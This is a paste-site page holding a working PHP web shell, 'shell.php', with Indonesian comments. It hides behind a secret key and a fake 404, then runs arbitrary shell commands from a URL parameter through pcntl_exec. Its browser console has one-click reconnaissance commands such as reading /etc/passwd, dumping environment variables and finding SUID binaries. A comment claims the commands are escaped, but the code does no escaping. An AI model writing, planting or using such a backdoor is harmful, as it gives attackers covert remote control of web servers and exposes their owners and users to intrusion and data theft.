PasteShr

New Paste Browse

<?php
// shell.php - Form input + polling, SAMA PERSIS dengan versi lama yang work
header('Content-Type: text/html; charset=utf-8');

// === AUTH ===
$SECRET = 'rahasia123';  // GANTI
if (($_GET['key'] ?? '') !== $SECRET) {
    http_response_code(404);
    die('Not Found');
}

$cmd = $_GET['cmd'] ?? '';
$id  = 'sh';
$out  = "/tmp/.cmd_{$id}.out";
$done = "/tmp/.cmd_{$id}.done";
$sh   = "/tmp/.cmd_{$id}.sh";

// ============================================
// MODE READ: baca output (polling)
// ============================================
if (isset($_GET['read'])) {
    header('Content-Type: text/plain');
    if (file_exists($done)) {
        echo @file_get_contents($out);
        echo "\n__DONE__";
        @unlink($out);
        @unlink($done);
        @unlink($sh);
    } else {
        echo "__WAIT__";
    }
    exit;
}

// ============================================
// MODE EXEC: SAMA PERSIS versi lama
// ============================================
if ($cmd !== '') {
    // Hapus file lama
    @unlink($out);
    @unlink($done);

// Escape command biar aman
    $safe_cmd = $cmd;

// Bungkus di shell: jalankan cmd, tulis output + marker DONE
    // PERSIS seperti versi lama
    $script = "($safe_cmd) > $out 2>&1; echo DONE > $done";

// Tulis command ke file dulu (biar gak ada masalah quoting)
    $cmd_file = "/tmp/.cmd_{$id}.sh";
    file_put_contents($cmd_file, "#!/bin/sh\n$script\n");
    chmod($cmd_file, 0755);

// Response minimal (biar JS gak bingung)
    header('Content-Type: text/plain');
    echo "OK";

// Flush semua output ke client SEBELUM exec
    if (ob_get_level()) ob_end_flush();
    flush();
    if (function_exists('fastcgi_finish_request')) {
        fastcgi_finish_request();
    }

// Sekarang exec
    pcntl_exec('/bin/sh', [$cmd_file]);
    exit;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Console</title>
<style>
  * { box-sizing: border-box; }
  body { background:#0a0a0a; color:#0f0; font-family:Consolas,Monaco,monospace; padding:16px; margin:0; font-size:14px; }
  h2 { color:#0ff; margin:0 0 12px; font-size:18px; }
  form { background:#1a1a1a; padding:12px; border-radius:6px; margin-bottom:12px; border:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
  input[type=text] { background:#000; color:#0f0; border:1px solid #0f0; padding:8px 12px; font-family:inherit; font-size:14px; border-radius:4px; flex:1; min-width:200px; }
  input[type=text]:focus { outline:none; box-shadow:0 0 8px #0f0; }
  button { background:#0f0; color:#000; border:none; padding:8px 20px; font-family:inherit; font-weight:bold; cursor:pointer; border-radius:4px; font-size:14px; }
  button:hover:not(:disabled) { background:#0ff; }
  button:disabled { background:#555; cursor:wait; color:#999; }
  .quick { margin-bottom:12px; }
  .quick a { display:inline-block; background:#222; color:#0f0; padding:4px 10px; margin:2px; text-decoration:none; border-radius:3px; font-size:12px; border:1px solid #333; cursor:pointer; }
  .quick a:hover { background:#0f0; color:#000; }
  pre { background:#000; color:#0f0; padding:14px; border-radius:6px; border:1px solid #333; overflow-x:auto; white-space:pre-wrap; word-wrap:break-word; font-size:13px; line-height:1.5; max-height:65vh; overflow-y:auto; margin:0; }
  .cmd { color:#0ff; font-weight:bold; }
  .info { color:#666; }
  .status { font-size:12px; color:#ff0; margin-left:8px; align-self:center; }
</style>
</head>
<body>

<h2>⚡ PHP Console</h2>

<div class="quick">
  <a data-c="id">id</a>
  <a data-c="whoami">whoami</a>
  <a data-c="uname -a">uname -a</a>
  <a data-c="pwd">pwd</a>
  <a data-c="ls -la">ls -la</a>
  <a data-c="ps aux">ps aux</a>
  <a data-c="netstat -tulpn 2>/dev/null || ss -tulpn">netstat</a>
  <a data-c="cat /etc/passwd">/etc/passwd</a>
  <a data-c="env">env</a>
  <a data-c="df -h">df -h</a>
  <a data-c="find / -perm -4000 -type f 2>/dev/null">SUID</a>
</div>

<pre id="o"><span class="info">Masukkan command di atas, atau klik salah satu quick command.</span></pre>

var form  = document.getElementById('f');
  var input = document.getElementById('c');
  var btn   = document.getElementById('btn');
  var st    = document.getElementById('st');
  var out   = document.getElementById('o');

function esc(s) {
    return String(s).replace(/[&<>"']/g, function(c){
      return {'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c];
    });
  }

document.querySelectorAll('.quick a').forEach(function(a){
    a.addEventListener('click', function(e){
      e.preventDefault();
      input.value = a.dataset.c;
      input.focus();
    });
  });

form.addEventListener('submit', function(e){
    e.preventDefault();
    var cmd = input.value.trim();
    if (!cmd) return;
    run(cmd);
  });

async function run(cmd) {
    btn.disabled = true;
    st.textContent = '⏳ menjalankan...';
    out.innerHTML = '<span class="cmd">$ ' + esc(cmd) + '</span>\n\n(mengirim command...)';

// STEP 1: trigger exec pakai IFRAME (bukan fetch!)
    // Iframe = navigasi browser biasa = persis seperti versi lama yang work
    var iframe = document.createElement('iframe');
    iframe.style.display = 'none';
    iframe.src = BASE + '&cmd=' + encodeURIComponent(cmd);
    document.body.appendChild(iframe);

// STEP 2: polling read via fetch (ini aman, gak exec)
    var tries = 0;
    var MAX = 120;

var timer = setInterval(async function(){
      tries++;
      try {
        var r = await fetch(BASE + '&read=1', {cache:'no-store'});
        var t = await r.text();

if (t === '__WAIT__') {
          out.innerHTML = '<span class="cmd">$ ' + esc(cmd) + '</span>\n\n⏳ menunggu...';
        } else if (t.indexOf('__DONE__') !== -1) {
          var output = t.replace(/\n?__DONE__$/, '');
          out.innerHTML = '<span class="cmd">$ ' + esc(cmd) + '</span>\n\n' + esc(output);
          out.scrollTop = out.scrollHeight;
          clearInterval(timer);
          btn.disabled = false;
          st.textContent = '✅ selesai';
          setTimeout(function(){ st.textContent=''; }, 1500);
          iframe.remove();
        }
      } catch(e) {}
      if (tries >= MAX) {
        clearInterval(timer);
        btn.disabled = false;
        st.textContent = '⚠️ timeout';
        iframe.remove();
      }
    }, 500);
  }
})();
</script>
</body>
</html>

Paste Settings

Paste Title : [Optional]

Paste Folder : [Optional]

Syntax Highlighting : [Optional]

Paste Expiration : [Optional]

Paste Status : [Optional]

Password : [Optional]

Description: [Optional]

Tags: [Optional]

Encrypt Paste (?)

You are currently not logged in, this means you can not edit or delete anything you paste. Sign Up or Login

Recent Pastes

Untitled
Plaintext | 28 | 53 minutes ago
Untitled
Plaintext | 2 | 1 hour ago
pcntl
Plaintext | 8 | 4 hours ago
Untitled
Plaintext | 32 | 20 hours ago
Untitled
Plaintext | 174 | 1 day ago
Untitled
Plaintext | 72 | 1 day ago
Untitled
Plaintext | 93 | 1 day ago

Paste Settings

Site Languages